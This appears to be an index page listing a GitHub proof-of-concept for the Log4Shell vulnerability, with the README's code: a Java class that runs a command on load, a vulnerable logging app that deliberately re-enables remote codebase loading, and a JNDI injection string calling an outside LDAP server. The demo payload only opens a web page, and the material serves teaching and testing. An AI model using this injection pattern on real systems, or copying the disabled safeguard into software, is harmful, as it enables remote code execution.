Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/nuriofernandez/simple-log4shell-ldap-server
Simple proof of concept of the famous Java's Log4Shell vulnerability 💣
https://github.com/nuriofernandez/simple-log4shell-ldap-server
expoit hacking java log4shell poo proof-of-concept vulnerability
Last synced: 2 days ago
JSON representation
Simple proof of concept of the famous Java's Log4Shell vulnerability 💣
- Host: GitHub
- URL: https://github.com/nuriofernandez/simple-log4shell-ldap-server
- Owner: nuriofernandez
- Created: 2021-12-29T20:02:10.000Z (almost 3 years ago)
- Default Branch: master
- Last Pushed: 2022-08-10T16:04:53.000Z (about 2 years ago)
- Last Synced: 2024-01-03T14:36:01.730Z (10 months ago)
- Topics: expoit, hacking, java, log4shell, poo, proof-of-concept, vulnerability
- Language: Java
- Homepage:
- Size: 9.77 KB
- Stars: 1
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Simple Log4Shell LDAP server
## Exploit class to execute it remotly
```java
public class Magic {
static {
try {
// Execute the `open` command to open a funny wikipedia link.
String[] cmds = { "open", "https://en.wikipedia.org/wiki/Ostrich_algorithm" };
Runtime.getRuntime().exec(cmds).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}
```## Minimum vulnerable application
```java
public class Log4j {private static final Logger logger = LogManager.getLogger(Log4j.class);
public static void main(String[] args) {
// Log4Shell will not be able to load remote code from untrusted code bases since the Java 8 version.
// This statement will disable that security path to be able to test it on Java 8 and higher.
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");Scanner scanner = new Scanner(System.in);
while (true) {
System.out.println("Introduce a message to log:");
String line = scanner.nextLine();
logger.error(line);
}
}}
```## Vulnerable message example
You will need to replace the `nurio.me` domain to your LDAP server, for local development it could be `localhost`.
```
${jndi:ldap://nurio.me:1389/a}
```